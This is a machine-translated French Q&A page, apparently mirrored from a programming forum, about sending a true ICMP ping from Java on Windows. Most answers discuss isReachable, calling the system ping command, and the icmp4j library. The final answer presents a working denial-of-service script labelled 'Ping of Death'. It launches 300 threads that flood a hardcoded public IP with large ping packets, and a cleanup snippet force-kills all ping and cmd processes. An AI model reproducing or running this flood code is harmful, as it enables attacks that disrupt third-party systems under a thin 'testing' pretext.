web-dev-qa-db-fra.com

Comment faire un vrai ping Java à partir de Windows?

J'ai un périphérique sur un réseau que je tente de cingler à travers mon programme Java. Grâce à mon invite de commande Windows, je peux cingler l’adresse du périphérique et effectuer un transfert de cette adresse.

En ligne, j'ai vu que pour faire un ping avec Java, il fallait faire ce qui suit:

InetAddress.getByName(address).isReachable(timeout);

Mais, lorsque j'utilise ce code sur l'adresse de mon appareil, il retourne toujours faux dans mon programme. J'utilise l'adresse IPv4 correcte avec une bonne valeur de délai d'attente. De plus, si j'utilise une adresse localhost, cela fonctionne bien.

Pourquoi puis-je envoyer une requête ping à l'appareil via cmd, mais pas via mon programme? J'ai entendu à divers endroits que ce n'est pas un vrai ping.

Existe-t-il un meilleur moyen d'émuler un ping en Java?

Merci

28
Stephen Watkins

isReachable() utilisera ICMP ECHO REQUESTs si le privilège peut être obtenu, sinon il essaiera d’établir une connexion TCP sur le port 7 (Echo) de l’hôte de destination.
Ainsi, votre problème est probablement lié à un manque d’autorisations de configuration sur la machine cliente ou à un problème de port 7 sur le serveur si votre client n’est pas autorisé à exécuter le ICMP ECHO REQUEST. Probablement les deux dans votre cas, vous devez résoudre un côté ou l’autre pour que cela fonctionne.

J'ai testé les éléments suivants sur des clients OSX et Linux, et cela fonctionne lorsque vous testez la possibilité d'accéder à d'autres machines OSX, Linux et Windows Server. Je n'ai pas de machine Windows pour l'exécuter en tant que client.

import Java.io.IOException;
import Java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress Host = InetAddress.getByName(args[0]);
        System.out.println("Host.isReachable(1000) = " + Host.isReachable(1000));
    }
}

d'après ce que j'ai lu ici . Il s’agit apparemment d’une limitation de Windows et ICMP PING n’est pas pris en charge sous Windows en tant qu’appel système antérieur à Windows 2000; il est par conséquent recommandé d’essayer de vous connecter au port 7, ce qui est bloqué sur la machine que vous essayez "d'atteindre". Java ne prend pas encore en charge le nouvel appel système natif. Les autorisations concernent les systèmes Unix car ils ont besoin de la racine pour envoyer des paquets ICMP.

Si vous voulez utiliser votre propre JNIICMP PING natif Windows pour Windows 2000 et plus récent, utilisez la fonction IcmpSendEcho .

27
user177800

J'utilise cette fonction (de cet article ) lorsque j'ai besoin d'un véritable ping ICMP sous Windows, Linux et OSX (je n'ai pas testé d'autres systèmes). 

public static boolean isReachableByPing(String Host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + Host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + Host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}
9
Mattias Ohlsson

Un peu tard, mais je suis tombé dessus en essayant de faire la même chose.

Une solution de contournement qui a fonctionné pour moi et que j'ai utilisée consiste à utiliser directement le ping de ligne de commande.

    public static boolean ping(String Host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", Host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}
2
bluphoenix

J'ai vu beaucoup de mauvais codes écrits liés à cette question. Le code qui a fonctionné pour mon is (le site ne sait pas analyser correctement mon fichier de code): 

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}
1
Adrian

Pour un ping facile à partir de Java sans privilèges, j'utilise http://www.icmp4j.org

C'est très facile à utiliser:

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
1
iLoveCode

Une des raisons est que le délai d'attente que vous avez spécifié est trop bas. J'ai eu un problème similaire, mais lorsque j'ai augmenté le délai d'attente à une valeur appropriée, l'invocation isReachable a renvoyé une valeur correcte.

1
Nerrve

Utiliser ceci ne va pas aider en cas de ping avec une adresse IP publique avec une machine Windows:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Remarque: la documentation indique que:

Une implémentation typique utilisera ICMP ECHO REQUEST si privilege peut être obtenu, sinon il essaiera d’établir une connexion TCP sur le port 7 (Echo) de l'hôte de destination.

J'ai essayé cela, mais les résultats n'étaient pas précis.

Ce qui a vraiment fonctionné pour moi, c’est la classe écrite par notre collègue utilisateur qui envoie true ICMP ping et renvoie true ou false selon l’état IP.

Numéro InetAddress.isReachable () impair

0
Abdelsalam Shahlol

Le code Java suivant est un exemple de Ping of Death et de Denial of Service sous Microsoft Windows. Cela doit être utilisé à des fins de test afin de créer une preuve anti-piratage et/ou de tester les performances du site en cas d'attaques informatiques similaires.

// BEGIN Ping of Death and Denial of Service 
import Java.awt.AWTException;
import Java.io.BufferedReader;
import Java.io.IOException;
import Java.io.InputStreamReader;
import Java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

Lorsque les tests sont terminés. Vous voudrez peut-être utiliser le code suivant pour nettoyer les processus dans le Gestionnaire des tâches.

import Java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
0
QA Specialist